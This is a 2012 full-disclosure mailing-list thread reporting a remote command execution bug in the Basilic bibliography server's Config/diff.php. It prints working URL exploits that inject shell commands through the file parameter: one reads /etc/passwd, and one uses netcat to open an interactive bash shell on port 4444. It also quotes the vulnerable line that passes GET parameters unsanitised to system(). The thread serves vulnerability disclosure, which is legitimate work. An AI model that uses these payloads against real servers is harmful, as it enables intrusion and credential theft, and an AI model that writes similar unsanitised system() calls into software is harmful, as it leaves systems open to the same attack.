full-disclosure - Re: Basilic RCE bug

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Date: Fri, 06 Jul 2012 16:32:05 +0000 (GMT)
From: larry Cashdollar <larry0@...com>
To: m.razavi777@...il.com
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: Basilic RCE bug

verified, http://artis.imag.fr/Software/Basilic/

http://127.0.0.1/basilic/Config/diff.php?file=%26nc%20-ltp4444%20-e%20/bin/bash&new=1&old=2

for an interactive shell on port 4444.  Neat.

line 39 of diff.php is

system("diff ../$_GET[old]/$_GET[file] $_GET[new]/$_GET[file] | sed s%\"<\"%\"\&lt;\"%g | sed s%\">\"%\"\&gt;\"%g");


On Jun 30, 2012, at 01:45 PM, m.razavi777@...il.com wrote:

> Hi
> Dear Sir
>
> Basilic is an Automated Bibliography Server for Research Publications Diffusion that use by many research center.
> there is a RCE bug in basilic/Config/diff.php s could allow an attacker to run system command in server.
> sample:
> http://127.0.0.1/basilic/Config/diff.php?file=%26cat%20/etc/passwd&new=1&old=2
>
> Regards
> M.Razavi

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